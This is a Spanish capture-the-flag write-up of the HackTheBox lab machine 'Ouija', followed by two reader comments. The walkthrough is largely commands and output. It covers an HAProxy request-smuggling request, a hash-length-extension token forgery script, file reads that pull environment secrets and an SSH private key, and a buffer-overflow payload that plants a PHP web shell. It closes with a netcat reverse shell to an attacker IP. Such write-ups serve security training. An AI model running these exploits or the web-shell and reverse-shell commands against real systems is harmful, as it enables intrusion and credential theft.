Ouija es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Insane (en un principio salió como Hard pero fue cambiada debido a su dificultad).
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Ouija 10.129.176.29 a /etc/hosts como ouija.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.129.176.29 Nmap scan report for 10.129.176.29 Host is up, received echo-reply ttl 63 (0.11s latency). Scanned at 2023-12-03 14:57:34 GMT for 13s Not shown: 65496 closed tcp ports (reset), 36 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 62 3000/tcp open ppp syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Sun Dec 3 14:57:47 2023 -- 1 IP address (1 host up) scanned in 13.04 seconds |
Una vez detectados los puertos abiertos lanzamos un segundo escaneo contra los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
$ nmap -sCV -p 22,80,3000 -oA enumeration/nmap2 10.129.176.29 Nmap scan report for 10.129.176.29 Host is up (0.043s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 6f:f2:b4:ed:1a:91:8d:6e:c9:10:51:71:d5:7c:49:bb (ECDSA) |_ 256 df:dd:bc:dc:57:0d:98:af:0f:88:2f:73:33:48:62:e8 (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 3000/tcp open http Node.js Express framework |_http-title: Site doesn't have a title (application/json; charset=utf-8). Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Dec 3 14:58:43 2023 -- 1 IP address (1 host up) scanned in 14.85 seconds |
Enumeración
Si accedemos a través de la ip al portal web del puerto 80 nos lleva a la página por defecto de apache, así que accedemos a través del nombre de dominio ouija.htb y vemos la siguiente página web

Revisamos la página a fondo pero no conseguimos ver gran cosa así que enumeramos subdominios y descubrimos lo siguiente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
$ ffuf -u http://ouija.htb -H "Host: FUZZ.ouija.htb" -w /data/tools/SecLists/Discovery/DNS/namelist.txt -t 100 -fs 10671 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.0.0-dev ________________________________________________ :: Method : GET :: URL : http://ouija.htb :: Wordlist : FUZZ: /data/tools/SecLists/Discovery/DNS/namelist.txt :: Header : Host: FUZZ.ouija.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 100 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500 :: Filter : Response size: 10671,93 ________________________________________________ [Status: 200, Size: 14012, Words: 1109, Lines: 276, Duration: 103ms] * FUZZ: gitea |
Descubrimos el subdominio de gitea.ouija.htb así que lo añadimos al fichero de hosts y accedemos

Como no disponemos de credenciales nos creamos una cuenta y entramos, y si miramos los repositorios vemos uno público del usuario leila

Accedemos y revisamos el repositorio

Explotación de LFI
Revisando a fondo el repositorio encontramos las versiones del software utilizado y nos centramos en el software HA-Proxy
|
1 |
HA-Proxy version 2.2.16 |
Si buscamos en google encontramos una vulnerabilidad de Request Smuggling
Y si buscamos un poco más encontramos una poc en github de la vulnerabilidad CVE-2021-40346
Así que siguiendo la poc y conociendo como funciona la vulnerabilidad vamos a lanzar una primera petición para sacar la uri de /admin
|
1 2 3 4 5 6 7 8 |
POST /index.html HTTP/1.1 Host: ouija.htb Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: Content-Length: 24 GET /admin/ HTTP/1.1 x:GET / HTTP/1.1 Host: ouija.htb |
Y descubrimos con la misma un dominio nuevo, dev.ouija.htb, así que ahora lanzamos una petición contra dicho dominio

Siguiendo el ejemplo vemos dos ficheros que procederemos a descargar, el fichero app.js cuyo código es el siguiente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 |
var express = require('express'); var app = express(); var crt = require('crypto'); var b85 = require('base85'); var fs = require('fs'); const key = process.env.k; app.listen(3000, ()=>{ console.log("listening @ 3000"); }); function d(b){ s1=(Buffer.from(b, 'base64')).toString('utf-8'); s2=(Buffer.from(s1.toLowerCase(), 'hex')); return s2; } function generate_cookies(identification){ var sha256=crt.createHash('sha256'); wrap = sha256.update(key); wrap = sha256.update(identification); hash=sha256.digest('hex'); return(hash); } function verify_cookies(identification, rhash){ if( ((generate_cookies(d(identification)))) === rhash){ return 0; }else{return 1;} } function ensure_auth(q, r) { if(!q.headers['ihash']) { r.json("ihash header is missing"); } else if (!q.headers['identification']) { r.json("identification header is missing"); } if(verify_cookies(q.headers['identification'], q.headers['ihash']) != 0) { r.json("Invalid Token"); } else if (!(d(q.headers['identification']).includes("::admin:True"))) { r.json("Insufficient Privileges"); } } app.get("/login", (q,r,n) => { if(!q.query.uname || !q.query.upass){ r.json({"message":"uname and upass are required"}); }else{ if(!q.query.uname || !q.query.upass){ r.json({"message":"uname && upass are required"}); }else{ r.json({"message":"disabled (under dev)"}); } } }); app.get("/register", (q,r,n) => {r.json({"message":"__disabled__"});}); app.get("/users", (q,r,n) => { ensure_auth(q, r); r.json({"message":"Database unavailable"}); }); app.get("/file/get",(q,r,n) => { ensure_auth(q, r); if(!q.query.file){ r.json({"message":"?file= i required"}); }else{ let file = q.query.file; if(file.startsWith("/") || file.includes('..') || file.includes("../")){ r.json({"message":"Action not allowed"}); }else{ fs.readFile(file, 'utf8', (e,d)=>{ if(e) { r.json({"message":e}); }else{ r.json({"message":d}); } }); } } }); app.get("/file/upload", (q,r,n) =>{r.json({"message":"Disabled for security reasons"});}); app.get("/*", (q,r,n) => {r.json("200 not found , redirect to .");}); |
Y el fichero init.sh
|
1 2 3 4 5 6 7 8 9 10 11 |
#!/bin/bash echo "$(date) api config starts" >> mkdir -p .config/bin .config/local .config/share /var/log/zapi export k=$(cat /opt/auth/api.key) export botauth_id="bot1:bot" export hash="4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1" ln -s /proc .config/bin/process_informations echo "$(date) api config done" >> /var/log/zapi/api.log exit 1 |
Además si hacemos algunas pruebas conseguimos explotar un LFI, y con ello sacar el fichero passwd

Explotando la API Rest
Llegados a este punto no podemos hacer mucho más por aquí así que vamos a ver la api del puerto 3000.
En la misma encontramos tres endpoints, así que vamos a probar los mismos.
Si vamos al endpoint de login nos pide unos parámetros
|
1 2 |
$ curl -X GET http://ouija.htb:3000/login/ -H "ihash: aaa" {"message":"uname and upass are required"} |
Aunque cuando le pasamos los mismos nos muestra un mensaje indicando que se encuentra en desarrollo
|
1 2 |
$ curl -X GET "http://ouija.htb:3000/login?uname=aaa&upass=aaa" {"message":"disabled (under dev)"} |
Si tiramos contra register nos indica directamente que el mismo está deshabilitado
|
1 2 |
$ curl -X GET "http://ouija.htb:3000/register" {"message":"__disabled__"} |
Y si tiramos contra users, nos pide una cabecera y cuando la pasamos un token, el cual desconocemos
|
1 2 3 4 5 |
$ curl -X GET "http://ouija.htb:3000/users" -H "ihash:aaa" "identification header is missing" $ curl -X GET "http://ouija.htb:3000/users" -H "ihash:aaa" -H "identification:aaa" "Invalid Token" |
Pero todo apunta de que el camino va por este último.
Si volvemos al script de init.sh vemos el id del bot que utiliza para la autenticación
|
1 |
export botauth_id="bot1:bot" |
Y el hash utilizado
|
1 |
export hash="4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1" |
Si volvemos al fichero app.js que obtuvimos antes del portal de dev vemos los diferentes endpoint que hemos ido visitando, el token que si nos fijamos en la siguiente parte necesitamos que tenga permisos de admin
|
1 2 3 |
else if (!(d(q.headers['identification']).includes("::admin:True"))) { r.json("Insufficient Privileges"); } |
Y, una vez lo consigamos, si nos fijamos en la siguiente parte, podemos leer ficheros del sistema siempre y cuando no utilicemos los caracteres .. y ../
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
app.get("/file/get",(q,r,n) => { ensure_auth(q, r); if(!q.query.file){ r.json({"message":"?file= i required"}); }else{ let file = q.query.file; if(file.startsWith("/") || file.includes('..') || file.includes("../")){ r.json({"message":"Action not allowed"}); }else{ fs.readFile(file, 'utf8', (e,d)=>{ if(e) { r.json({"message":e}); }else{ r.json({"message":d}); } }); } } }); |
Conocida toda esta parte, vamos a necesitar generar ese token y para ello vamos a utilizar la herramienta hash_extender
Pero antes de poder hacer nada vamos a necesitar conocer la longitud del token. Para ello generamos un listado de posibles hashes y lo guardamos en un fichero
|
1 |
$ hash_extender --data "bot1:bot" --secret-min=1 --secret-max=500 --append "::admin:True" -f sha256 -s 4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1 --out-data-format=hex --out-signature-format=hex > extension-rev |
Una vez generados, en mi caso, he hecho un pequeño script que compruebe contra el portal hasta dar con el adecuado
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
#!/usr/bin/env python3 import sys import requests import base64 url = "http://ouija.htb:3000/users" # open file with open(sys.argv[1], 'r') as f: raw = f.read() # get possible values posibilities = raw.split("\n\n") # check each value for pos in posibilities: _, secret_len, new_sig, new_string = [p.split()[-1] for p in pos.split("\n")] #print(f"Testing secret length: {secret_len}\n", end="", flush=True) identification = base64.b64encode(new_string.encode("utf-8")).decode("utf-8") headers = { "ihash": new_sig, "identification": identification } r = requests.get(url, headers=headers) if "Invalid Token" not in r.text: print(f"Found length: {secret_len}") print(f"ihash: {new_sig}") print(f"identification: {identification}\n") break if len(sys.argv) > 2: url = "http://ouija.htb:3000/file/get?file=" + str(sys.argv[2]) r = requests.get(url, headers=headers) print(r.text) |
Y ejecutamos para obtener la longitud y el token
|
1 2 3 4 |
$ python3 brute-force.py extension-rev file Found length: 23 ihash: 14be2f4a24f876a07a5570cc2567e18671b15e0e005ed92f10089533c1830c0b identification: NjI2Zjc0MzEzYTYyNmY3NDgwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDBmODNhM2E2MTY0NmQ2OTZlM2E1NDcyNzU2NQ== |
Ahora que ya sabemos la longitud vamos a leer ficheros del sistema, no podemos utilizar los caracteres .. y ../ mencionados antes pero si nos fijamos en el script init.sh no nos hace falta ya que crea un enlace contra /proc
|
1 |
ln -s /proc .config/bin/process_informations |
Así que lanzamos de nuevo el anterior script (esta vez con un fichero más pequeño de posibilidades) y obtenemos las variables de entorno, descubriendo, que estamos en la home del usuario leila
|
1 2 3 4 5 6 |
$ python3 brute-force.py extension-rev ".config/bin/process_informations/self/environ" Found length: 23 ihash: 14be2f4a24f876a07a5570cc2567e18671b15e0e005ed92f10089533c1830c0b identification: NjI2Zjc0MzEzYTYyNmY3NDgwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDBmODNhM2E2MTY0NmQ2OTZlM2E1NDcyNzU2NQ== {"message":"LANG=en_US.UTF-8\u0000PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000HOME=/home/leila\u0000LOGNAME=leila\u0000USER=leila\u0000SHELL=/bin/bash\u0000INVOCATION_ID=c7bac0ec3dc04e8bb31a74a1dd388681\u0000JOURNAL_STREAM=8:22539\u0000SYSTEMD_EXEC_PID=819\u0000k=FKJS645GL41534DSKJ@@GBD\u0000"} |
Así que el siguiente paso será obtener la clave ssh del usuario leila
|
1 2 3 4 5 6 |
$ python3 brute-force.py extension-rev ".config/bin/process_informations/self/root/home/leila/.ssh/id_rsa" Found length: 23 ihash: 14be2f4a24f876a07a5570cc2567e18671b15e0e005ed92f10089533c1830c0b identification: NjI2Zjc0MzEzYTYyNmY3NDgwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDBmODNhM2E2MTY0NmQ2OTZlM2E1NDcyNzU2NQ== {"message":"-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXk...ALbGVpbGFAb3VpamE=\n-----END OPENSSH PRIVATE KEY-----\n"} |
Obteniendo la flag de user
Ahora que tenemos la clave del usuario, formateamos correctamente la misma, accedemos y cogemos la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
$ ssh -i leila.pem leila@ouija.htb The authenticity of host 'ouija.htb (10.129.176.29)' can't be established. ED25519 key fingerprint is SHA256:r/qRxNW7X+LWMsUuQWHqvxNMWuh8S5GGfoK6w5j/4sc. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'ouija.htb' (ED25519) to the list of known hosts. Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon Dec 4 02:32:03 PM UTC 2023 System load: 0.32470703125 Usage of /: 92.9% of 5.07GB Memory usage: 47% Swap usage: 0% Processes: 414 Users logged in: 0 IPv4 address for br-3eea0fdaa3bd: 172.18.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for eth0: 10.129.176.29 IPv6 address for eth0: dead:beef::250:56ff:fe96:31e4 => / is using 92.9% of 5.07GB Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update leila@ouija:~$ id uid=1000(leila) gid=1000(leila) groups=1000(leila) leila@ouija:~$ ls -l total 4 -rw-r----- 1 root leila 33 Dec 3 12:26 user.txt leila@ouija:~$ cat user.txt 52cdee1428a368f453eb4d2f7c11408f leila@ouija:~$ |
Escalado de privilegios
Ahora, enumeramos para escalar a root y vemos un directorio en la raíz que sirve varias aplicaciones
|
1 2 3 4 5 6 7 8 9 |
leila@ouija:/development$ ll total 28 drwxr-xr-x 7 root root 4096 Jun 24 19:35 ./ drwxr-xr-x 19 root root 4096 Nov 22 12:13 ../ drwxr-xr-x 2 root root 4096 Jun 20 19:24 gov-management_system_id_386/ drwxr-xr-x 2 root root 4096 Jun 20 19:23 gym-management_system_id_385/ drwxr-xr-x 2 root root 4096 Jun 20 19:23 school-management_system_id_384/ drwxr-xr-x 5 root root 4096 Jun 25 20:10 server-management_system_id_0/ drwxr-xr-x 2 root root 4096 Jun 24 20:01 utils/ |
Revisamos a fondo cada uno de los directorios y encontramos un fichero index.php con una parte interesante de código
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
leila@ouija:/development/server-management_system_id_0$ cat index.php <?php class info__index__wellcom{ public static $__VERSION = 0; public static $__DEBUG = 1; public $__DESCRIPTION = "testing login"; public static $__IS_ATTACHED_TO_SYS = 1; public static $__NAME = "WBMS root"; public $__OWNER = "WBMS ouija"; public $__PRODUCT_ID = 0; private static $__DBCREDS = "0:0@/0"; private static $__PPD = "linux/php"; } ?> <?php if(info__index__wellcom::$__DEBUG){ include '../utils/debug.php'; init_debug(); } ?> <?php if(isset($_POST['username']) && isset($_POST['password'])){ // system("echo ".$_POST['username']." > /tmp/LOG"); if(say_lverifier($_POST['username'], $_POST['password'])){ session_start(); $_SESSION['username'] = $_POST['username']; $_SESSION['IS_USER_'] = "yes"; $_SESSION['__HASH__'] = md5($_POST['username'] . "::" . $_POST['password']); header('Location: /core/index.php'); }else{ echo "<script>alert('invalid credentials')</alert>"; } } ?> |
En el mismo, vemos que realiza la validación de credenciales con una función que no conocemos llamada say_lverifier, además si revisamos bien, vemos un directorio oculto, .debug, en el cual hay un fichero maps con las direcciones de memoria, en concreto nos fijamos en las de la librería desconocida
|
1 2 3 4 5 6 |
leila@ouija:/development/server-management_system_id_0/.debug$ cat maps |grep lverifier 7ff4376b8000-7ff4376b9000 r--p 00000000 fd:00 397488 /usr/lib/php/20220829/lverifier.so 7ff4376b9000-7ff4376ba000 r-xp 00001000 fd:00 397488 /usr/lib/php/20220829/lverifier.so 7ff4376ba000-7ff4376bb000 r--p 00002000 fd:00 397488 /usr/lib/php/20220829/lverifier.so 7ff4376bb000-7ff4376bc000 r--p 00002000 fd:00 397488 /usr/lib/php/20220829/lverifier.so 7ff4376bc000-7ff4376bd000 rw-p 00003000 fd:00 397488 /usr/lib/php/20220829/lverifier.so |
Obteniendo con ello la ruta en la cual se encuentra
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
leila@ouija:/usr/lib/php/20220829$ ll total 9228 drwxr-xr-x 2 root root 4096 Nov 22 12:13 ./ drwxr-xr-x 5 root root 4096 Nov 22 12:13 ../ -rw-r--r-- 1 root root 35080 Oct 26 17:33 calendar.so -rw-r--r-- 1 root root 14600 Oct 26 17:33 ctype.so -rw-r--r-- 1 root root 96520 Oct 26 17:33 exif.so -rw-r--r-- 1 root root 178440 Oct 26 17:33 ffi.so -rw-r--r-- 1 root root 7153984 Oct 26 17:33 fileinfo.so -rw-r--r-- 1 root root 67848 Oct 26 17:33 ftp.so -rw-r--r-- 1 root root 18696 Oct 26 17:33 gettext.so -rw-r--r-- 1 root root 51464 Oct 26 17:33 iconv.so -rwxr-xr-x 1 root root 43472 Jun 25 22:39 lverifier.so* -rw-r--r-- 1 root root 1018920 Oct 26 17:33 opcache.so -rw-r--r-- 1 root root 133384 Oct 26 17:33 pdo.so -rw-r--r-- 1 root root 289032 Oct 26 17:33 phar.so -rw-r--r-- 1 root root 43272 Oct 26 17:33 posix.so -rw-r--r-- 1 root root 39176 Oct 26 17:33 readline.so -rw-r--r-- 1 root root 18696 Oct 26 17:33 shmop.so -rw-r--r-- 1 root root 104712 Oct 26 17:33 sockets.so -rw-r--r-- 1 root root 22792 Oct 26 17:33 sysvmsg.so -rw-r--r-- 1 root root 14600 Oct 26 17:33 sysvsem.so -rw-r--r-- 1 root root 22792 Oct 26 17:33 sysvshm.so -rw-r--r-- 1 root root 35080 Oct 26 17:33 tokenizer.so |
Revisamos los puertos abiertos en la máquina y vemos el puerto 9999 en local
|
1 2 3 4 5 6 7 8 |
leila@ouija:/development/server-management_system_id_0/core$ netstat -ant|grep 127 tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:9999 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:39571 0.0.0.0:* LISTEN tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:9999 127.0.0.1:52324 TIME_WAIT tcp 0 0 127.0.0.1:9999 127.0.0.1:42528 TIME_WAIT tcp 0 0 127.0.0.1:8080 127.0.0.1:41836 TIME_WAIT |
Así que nos mandamos el mismo con una tunelización por ssh y accedemos al navegador viendo el siguiente formulario de login

Descubrimiento del buffer overflow
Para ver como podemos explotarlo vamos a descargarnos la librería y vamos a analizarla con ida

Nos fijaremos principalmente en dos funciones, event_recorder y validating_userinput, la primera es la encargada de llevar a cabo el registro de eventos y por lo tanto la que finalmente leerá nuestro fichero y se encargará de su ejecución.
Por otro lado, la función validating_userinput, será la que aprovechemos para provocar el desbordamiento y llevar a cabo nuestro ataque. En esta, si nos fijamos, la variable username tiene un tamaño asignado de 800 bytes pero la entrada está limitada. Por otra parte se utiliza el tipo size_t para almacenar el tamaño del nombre de usuario, el cual tiene un tamaño máximo de 65535 bytes, por lo que el desbordamiento de enteros se encuentra aquí.
Explotación del BOF
Para probarlo creo un contenedor en docker muy simple con el siguiente Dockerfile
|
1 2 3 4 5 6 7 8 |
FROM ubuntu:22.04 RUN apt-get update && apt-get upgrade -y RUN apt-get install -y software-properties-common RUN add-apt-repository ppa:ondrej/php RUN apt-get update RUN DEBIAN_FRONTEND=noninteractive apt-get install -y php8.2 php8.2-cli php8.2-opcache php8.2-readline RUN apt-get install gdb -y ADD lverifier.so /usr/lib/php/20220829/ |
Generamos la imagen y levantamos el contenedor
|
1 2 |
docker build - < Dockerfile docker run -it 151a71a2727f /bin/bash |
Una vez dentro hacemos los pasos para aplicar la librería
|
1 2 3 |
root@551216456cfb:/# chmod +x /usr/lib/php/20220829/lverifier.so root@551216456cfb:/etc/php/8.2/cli/conf.d# echo "extension=lverifier.so" > /etc/php/8.2/cli/conf.d/50-lverifier.ini root@551216456cfb:/# sed -i 's/enable_dl = Off/enable_dl = On/g' /etc/php/8.2/cli/php.ini |
Y lanzaremos gdb
|
1 |
root@551216456cfb:~# gdb php |
Una vez ejecutado, vamos a forzar el crash para encontrar el punto donde atacarlo

Y ya tenemos el crash, ahora veamos donde y cuanto podemos escribir, así que hacemos varias pruebas y detectamos que el primer parámetro de la función event_recorder se escribe en el nombre de usuario 16:800, y que el segundo se escribe en el nombre de usuario del archivo de registro 128:800 por lo que vamos a hacer otra prueba.
Generamos el siguiente payload
|
1 |
'/'*795+'/`Test' + padding |
Y lanzamos

Con las pruebas realizadas vemos que podemos controlar la ruta del archivo de registro y el contenido del mismo, por lo que podemos utilizarlo para obtener una revshell con root.
Para ello vamos a crear un directorio cuyo nombre sea codigo php, despues modificar l aentrada y saltar para finalmente escribir el archivo php en el directorio del portal web.
Así que vamos a crear el directorio
|
1 2 3 4 5 6 7 |
leila@ouija:~$ mkdir /tmp/test leila@ouija:~$ mkdir "/tmp/test/<?=`\$_GET[0]`?>" leila@ouija:~$ ll /tmp/test/ total 12 drwxrwxr-x 3 leila leila 4096 Dec 8 11:47 ./ drwxrwxrwt 14 root root 4096 Dec 8 11:47 ../ drwxrwxr-x 2 leila leila 4096 Dec 8 11:47 '<?=`$_GET[0]`?>'/ |
Ahora creamos el payload
|
1 2 3 4 |
>>> a = '/tmp/test/<?=`$_GET[0]`?>/../../..//development/server-management_system_id_0/test.php' >>> len(a) 86 >>> '/'*714 + a + 'A'*64738 |
Y lanzamos con burp la petición

Si vamos al servidor vemos como se ha creado el fichero test.php con el contenido de nuestro payload

Verificamos que funciona

Y lanzaremos la siguiente revshell
|
1 |
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.14 4444 >/tmp/f |
Así que url encodeamos y mandamos la petición
|
1 |
http://localhost:9999/test.php?0=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.14.14%204444%20%3E%2Ftmp%2Ff |
Y somos root
|
1 2 3 4 5 6 7 8 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.14] from (UNKNOWN) [10.10.11.244] 42898 bash: cannot set terminal process group (845): Inappropriate ioctl for device bash: no job control in this shell root@ouija:/development/server-management_system_id_0# id id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo la flag de root
Como último paso ya siendo root, cogemos la flag
|
1 2 3 4 |
root@ouija:/development/server-management_system_id_0# cat /root/root.txt cat /root/root.txt d5c44d5279dae46001db46b4c8da8da9 root@ouija:/development/server-management_system_id_0# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace











No estoy consiguiendo ejecutar el buffer overflow de esa manera, a lo mejor me estoy dejando algo pero no caigo, muy buen write up de todas <3
Buen trabajo ^^